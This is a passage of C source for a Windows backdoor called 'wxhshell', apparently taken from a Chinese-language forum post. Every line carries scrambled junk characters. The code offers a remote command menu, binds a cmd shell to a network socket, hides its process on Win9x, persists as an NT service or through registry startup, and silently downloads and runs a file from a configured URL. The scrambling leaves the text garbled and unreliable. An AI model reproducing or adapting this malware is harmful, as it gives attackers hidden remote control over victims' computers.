    switch(cmd[0]) { _/}Hqh  
  C$LRY~ \  
  // 帮助 s)YP%vn#  
  case '?': { 5!F\h'E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 030U7VT1  
    break; rS )b1nPA  
  } 5 n+ e  
  // 安装 ,.jHV  
  case 'i': { 4r[pMJiq  
    if(Install()) $54=gRo^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oU0 h3  
    else dHG  Io  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mf:M3H%YV+  
    break; {(Og/[  
    } qX{X4b$  
  // 卸载 'DzBp  
  case 'r': { NdsX*o@a  
    if(Uninstall()) 'Z.OF5|eGT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nFe` <Al$N  
    else px _s@>l`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R6q4 ["  
    break; C~{NKMeC/m  
    } H+VO.s.a  
  // 显示 wxhshell 所在路径 6!+X.+  
  case 'p': { (@ fa~?v>@  
    char svExeFile[MAX_PATH]; kqD*TJA  
    strcpy(svExeFile,"\n\r"); m\/,cc@,  
      strcat(svExeFile,ExeFile); dXiE.Si  
        send(wsh,svExeFile,strlen(svExeFile),0); NTm<6Is`  
    break; OG`|td  
    } rToaGQh  
  // 重启 @%OPy|=,{  
  case 'b': { - J"qrpZ^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9jO`gWxV8*  
    if(Boot(REBOOT)) *%X6F~h(u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <E>7>ZL  
    else { K/vxzHSl  
    closesocket(wsh); @sw9A93A  
    ExitThread(0); |5=~(-I>@  
    } By?nd)  
    break; 3s`V)aXP  
    } ]By0Xifew  
  // 关机 /!=U +X  
  case 'd': { 4>4V-m\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]}z'X!v_@  
    if(Boot(SHUTDOWN)) 0A#*4ap  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n1QEu"~Zj  
    else { [D3+cDph  
    closesocket(wsh); o 'C~~Vg).  
    ExitThread(0); <nDNiM#  
    } q&zny2])  
    break; Dv<wge`  
    } 6xH;: B)d  
  // 获取shell EXA^!/)  
  case 's': { <7=&DpjI7F  
    CmdShell(wsh); ?gLR<d_  
    closesocket(wsh); (y1$MYZ Q  
    ExitThread(0); i[$-_  
    break; Hm>-LOCcl  
  } m6b$Xyq[  
  // 退出 vqq6B/r@Fu  
  case 'x': { ,-@xq.D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N 0+hejz  
    CloseIt(wsh); HHz;0V4w?  
    break; kMM'[w  
    } zhNQuK,L  
  // 离开 xEjx]w/&  
  case 'q': { ~gP7s_ qr{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :^ n*V6.4  
    closesocket(wsh); R.K?  
    WSACleanup(); 0HqPyM13Q  
    exit(1); _B)s=Snx  
    break; <mL%P`Jj  
        } ^f9>l;Lb  
  } z. 'Fv7  
  } \.o=icOx  
iHPUmTus--  
  // 提示信息 W!t{rI72  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gNqAj# m  
} 4sTMgBzw  
  } lr,q{;  
PSPTL3_~  
  return; kVd5,Qd  
} x|8^i6xB  
E>E*ZZuhj  
// shell模块句柄 g0PT8]8  
int CmdShell(SOCKET sock) _BbvhWN&+  
{ >z(wf>2J  
STARTUPINFO si; ioxbf6{  
ZeroMemory(&si,sizeof(si)); I7~|~<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Goxl3LS<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q^L) Vp"  
PROCESS_INFORMATION ProcessInfo; &=X.*H%  
char cmdline[]="cmd"; UbO4%YHt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e?b)p5g  
  return 0; $E\^v^LW  
} }Al YNEY  
kO1}?dWpa  
// 自身启动模式 +1QK}H ~  
int StartFromService(void) 5X#E@3g5  
{ z8E1m"  
typedef struct QOH<]~3J  
{ wPX*%0]  
  DWORD ExitStatus; `PgdJrE  
  DWORD PebBaseAddress; 1yM r~Fo  
  DWORD AffinityMask; FH8k'Hxg  
  DWORD BasePriority; 7CGyC[[T~  
  ULONG UniqueProcessId; DN_W.o  
  ULONG InheritedFromUniqueProcessId; Od##U6e`  
}   PROCESS_BASIC_INFORMATION; BJk Z2=  
^`XCT  
PROCNTQSIP NtQueryInformationProcess; !X]8dyW  
BRzfic :e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U\zD,<I9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GSi>l,y'  
j/KO|iNL2  
  HANDLE             hProcess; 6@V~0DG  
  PROCESS_BASIC_INFORMATION pbi; [ c~kF+8  
s2REt$.q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rko M~`CT  
  if(NULL == hInst ) return 0; ,6{iT,~@8  
\~~}N4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e2cP *J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #+k*1 Jg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); > ' i  
!q' 4D!I  
  if (!NtQueryInformationProcess) return 0; H C0w;MG)  
_las;S'oa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >/=> B7  
  if(!hProcess) return 0; GpI!J}~m  
a`!@+6yC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /.1. MssQM  
%IY``r)j  
  CloseHandle(hProcess); ypdT&5Mqb!  
F(,UA+$A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F_H82BE+3  
if(hProcess==NULL) return 0; -7{ $ Vj  
j Ux z  
HMODULE hMod; ?LK 2g  
char procName[255]; IzLQhDJ1  
unsigned long cbNeeded; fo0+dzazY  
t#i,1aHA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n, i'Dhzk  
SF*n1V3hx  
  CloseHandle(hProcess); ~j9O$s~)  
])}(k  
if(strstr(procName,"services")) return 1; // 以服务启动 -E4XIn  
'#/G,%m<!i  
  return 0; // 注册表启动 T0zn,ej  
} m P'^%TE  
w= P 9FxB  
// 主模块 NnT g3:.  
int StartWxhshell(LPSTR lpCmdLine) :'iYxhM.V  
{ /X'(3'a  
  SOCKET wsl; 4m)OR  
BOOL val=TRUE; u8GMUN  
  int port=0; c%m3}mrb  
  struct sockaddr_in door; !> }.~[M  
??60,m:]  
  if(wscfg.ws_autoins) Install(); )lk&z8;.=  
mZz="ZLa:  
port=atoi(lpCmdLine);  Q6'x\  
z7GTaX$d  
if(port<=0) port=wscfg.ws_port; *jIqAhs0{  
N- H^lqD  
  WSADATA data; 1K,1X(0rL8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jO*l3:!~\  
0sca4G0{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D^%^xq )E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xj5;: g#!  
  door.sin_family = AF_INET; 8{`?= &%6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W"^wnGa@a  
  door.sin_port = htons(port); w }Uhd ,  
g<{xC_J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >{\7&}gz  
closesocket(wsl); J]f3CU,<N  
return 1; 2MZCw^s>  
} A+hT3;lp  
\%^%wXfp  
  if(listen(wsl,2) == INVALID_SOCKET) { -46C!6a  
closesocket(wsl); @2'Mt}R>  
return 1; ZaNQpH.  
} OO[F E3F  
  Wxhshell(wsl); GFr|E8  
  WSACleanup(); C4TE-OM8  
$!&*xrrNM  
return 0; y WV#Up  
a7N!B'y  
} T)r9-wOq  
6G=j6gK%P  
// 以NT服务方式启动 t%F0:SH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Kq i4hK  
{ 0}_[DAd6  
DWORD   status = 0; HRB<Y mP@  
  DWORD   specificError = 0xfffffff; yj^+ G  
Q7W>qe%4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^o7;c[E`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?lP':'P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C*P7-oE2rh  
  serviceStatus.dwWin32ExitCode     = 0; N<~ku<nAU  
  serviceStatus.dwServiceSpecificExitCode = 0; _%QhOY5tv"  
  serviceStatus.dwCheckPoint       = 0; _3ZYtmn.  
  serviceStatus.dwWaitHint       = 0; 8<Hf" M  
qgfi\/$6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '3uVkp 6tF  
  if (hServiceStatusHandle==0) return; /~3r;M  
rS;Dmm  
status = GetLastError(); yj\Nkh  
  if (status!=NO_ERROR) M3q|l7|9  
{ >p"c>V& 8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #'y#"cmQ.  
    serviceStatus.dwCheckPoint       = 0; >3Eo@J,?d  
    serviceStatus.dwWaitHint       = 0; ?"g!  
    serviceStatus.dwWin32ExitCode     = status; /FRm2m83  
    serviceStatus.dwServiceSpecificExitCode = specificError; d QqK^#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ga`3 (  
    return; /HaHH.e  
  } MjU6/pO}L  
1u:< 25  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #?S^kM-0  
  serviceStatus.dwCheckPoint       = 0; o7$'cn  
  serviceStatus.dwWaitHint       = 0; `G}TG(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?U2<  
} ,LnII  
Sn|BlXrey  
// 处理NT服务事件,比如:启动、停止 V{!J-nO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y2^Y/)   
{ H*r)Z 90  
switch(fdwControl) tIuCct-  
{ Jt}Bpg!J  
case SERVICE_CONTROL_STOP: }F#okU  
  serviceStatus.dwWin32ExitCode = 0; 0E3[N:s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N u<_}  
  serviceStatus.dwCheckPoint   = 0; `)_dS&_\  
  serviceStatus.dwWaitHint     = 0; vbyH<LPz5  
  { T[g[&K1Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oY933i@l)P  
  } $}!p+$  
  return; @}}$zv6l,  
case SERVICE_CONTROL_PAUSE: ^rifRY-,yO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~Vr.J}]J  
  break; =4FXBPoQK  
case SERVICE_CONTROL_CONTINUE: xLK<W"%0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &E.^jR~*  
  break; +%ee8|\  
case SERVICE_CONTROL_INTERROGATE: AP'*Nh@Ik(  
  break; lPw%ErG  
}; K/IWH[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .\)U@L~  
} W04@!_) <  
x|pg"v&[  
// 标准应用程序主函数 < t,zaIi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) --$ 4Q(#  
{ "@iK' c^  
JB<Sl4  
// 获取操作系统版本 ,-8"R`UI8  
OsIsNt=GetOsVer(); L~lxXTG\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E&2OD [iX  
1g8_Xe4  
  // 从命令行安装 (k5We!4[1  
  if(strpbrk(lpCmdLine,"iI")) Install(); K,+LG7ec  
PQ5QA61  
  // 下载执行文件 C~2F9Pg  
if(wscfg.ws_downexe) { QdF5Cwf4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M2OIBH4!  
  WinExec(wscfg.ws_filenam,SW_HIDE); p<2L.\6"  
} +ElfZ4  
[q?<Qe  
if(!OsIsNt) { /:~\5}tW  
// 如果时win9x,隐藏进程并且设置为注册表启动 u0|8Tgf  
HideProc(); T@2#6Tffo  
StartWxhshell(lpCmdLine); gQWa24  
} 3x{ t(  
else CZud& <  
  if(StartFromService()) &"f";  
  // 以服务方式启动 BTGv N %  
  StartServiceCtrlDispatcher(DispatchTable); FGigbtj`  
else )h"<\%LU  
  // 普通方式启动 uki#/GzaO  
  StartWxhshell(lpCmdLine); xjfV?B'Y}V  
q rJ`1  
return 0; QM5R`i{r  
}
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只看该作者 1 发表于: 2006-10-10
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